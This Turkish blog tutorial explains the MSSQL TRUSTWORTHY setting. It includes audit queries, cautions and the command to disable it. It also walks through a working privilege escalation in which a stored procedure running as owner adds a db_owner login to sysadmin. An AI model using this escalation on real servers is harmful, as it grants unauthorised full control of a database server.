MSSQL Server’da TRUSTWORTHY özelliği, bir veritabanının güvenilir olduğunu belirten bir özelliktir. Bu özellik, veritabanının, sistemin veya başka bir veritabanının dışındaki güvenlik kısıtlamalarından daha az etkilenmesini sağlar.
Herhangi database üzerinde TRUSTWORTHY olarak ayarlandıysa veritabanı üzerinde düşük yetkili kullanıcı yüksek yetkili kullanıcı adına işlem yapacaktır. Bu özellik aktif edilmiş bir veritabanı sql server için güvenilir olarak set edilmiştir.
Şimdi ilk başta sıfırdan bir veritabanı oluşturuyorum.

Veritabanımızı sa kullanıcısıyla oluşturmuş olduk.

Şimdiki adımda ise bir login oluşturuyorum bu login’e TRUSTWORTH veritabanında db_owner yetkisi veriyorum.
USE [master]
GO
CREATE LOGIN [TRUSTLOGIN] WITH PASSWORD=N'1', DEFAULT_DATABASE=[TRUSTWORTH], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
use [master];
GO
USE [TRUSTWORTH]
GO
CREATE USER [TRUSTUSER] FOR LOGIN [TRUSTLOGIN]
GO
USE [TRUSTWORTH]
GO
ALTER ROLE [db_owner] ADD MEMBER [TRUSTUSER]
GO
Veritabanımız üzerinde Trustworth özelliğini aktif etmek için aşağıdaki komut kullanılır.
ALTER DATABASE TRUSTWORTH SET TRUSTWORTHY ON;
İlgili veritabanı için mevcut güven durumu ile ilgili bilgi almak için şu sorguyu çalıştırabilirsiniz:
SELECT name, is_trustworthy_on
FROM sys.databases
WHERE name = 'VeritabaniAdiniz';
Bu işlemleri SSMS üzerindende yapılabiliriz.

Trustworth hangi veritabanı üzerinde aktif olup olmadığını görebiliriz.
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name where is_trustworthy_on=1;

SELECT name,
trustworthy_setting = CASE is_trustworthy_on
WHEN 1 THEN 'Trustworthy setting is ON for msdb'
ELSE 'Trustworthy setting is OFF for msdb'
END
FROM sys.databases
WHERE database_id>4;
GO

Şimdi bu veritabanı için oluşturmuş olduğum login ile login olalım. Burada sadece veritabanı üzerinde db_owner yetkisi olan birine sysadmin role’ü atmaya çalışacağız.
Login olduğumuz kullanıcı üzerinde herhangi bir stored procedure oluşturacağız ve bu procedure’ü çalıştırdıktan sonra login’imiz sadece veritabanı üzerinde db_owner yetkisi olmasına rağmen sysadmin yetkisine sahip olmuş olacak.
USE TRUSTWORTH
GO
CREATE PROCEDURE PROCE
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'TRUSTLOGIN','sysadmin'
GO
EXEC PROCE

Şimdi S1\administrator kullanıcımızdan TRUSTLOGIN’in server seviyesinde role’üne bakalım.

Başlangıçta db_owner yetkisiyle oluşturduğumuz kullanıcı ile login olduğumuzda TRUSTLOGIN kullanıcısı üzerinde server seviyesinde düzenlemelerde yapabiliyoruz.

Aşağıdaki ilk sorgu, her veritabanındaki kullanıcıların rollerini ve rollerin bağlı olduğu kullanıcıları listelemektedir.
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

Aşağıdaki ikinci sorgu, sysadmin rolünde olan kullanıcıların, sahip oldukları veritabanları üzerinde TRUSTWORTHY özelliği aktif olan veritabanlarını listelemektedir.
SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_i
INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id
INNER JOIN sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'

Dikkat Edilmesi Gerekenler:
- TRUSTWORTHY özelliğini açmak, güvenlik riskleri oluşturabilir. Bu özellik, veritabanını dış etkenlere karşı daha açık hale getirebilir. Bu yüzden, yalnızca güvenilir veritabanlarında ve uygun güvenlik önlemleri alındığında kullanılmalıdır.
- Genellikle, dışarıdan gelen kodların güvenliği konusunda dikkatli olunması gerekir. Özellikle CLR (Common Language Runtime) kodları ve dış kaynaklara erişim sağlanacaksa, TRUSTWORTHY özelliği gerekebilir.
Eğer TRUSTWORTHY özelliğini kapatmak isterseniz, aşağıdaki komutu kullanabilirsiniz:
ALTER DATABASE VeritabaniAdiniz
SET TRUSTWORTHY OFF;
Başka bir makalede görüşmek dileğiyle..
“Onlar cennetlerdedir; günahkârlar hakkında birbirlerine sorular sorarlar? “Sizi şu yakıcı ateşe sokan nedir?” Onlar şöyle cevap verirler: “Biz namaz kılanlardan değildik;” Müddessir-40-42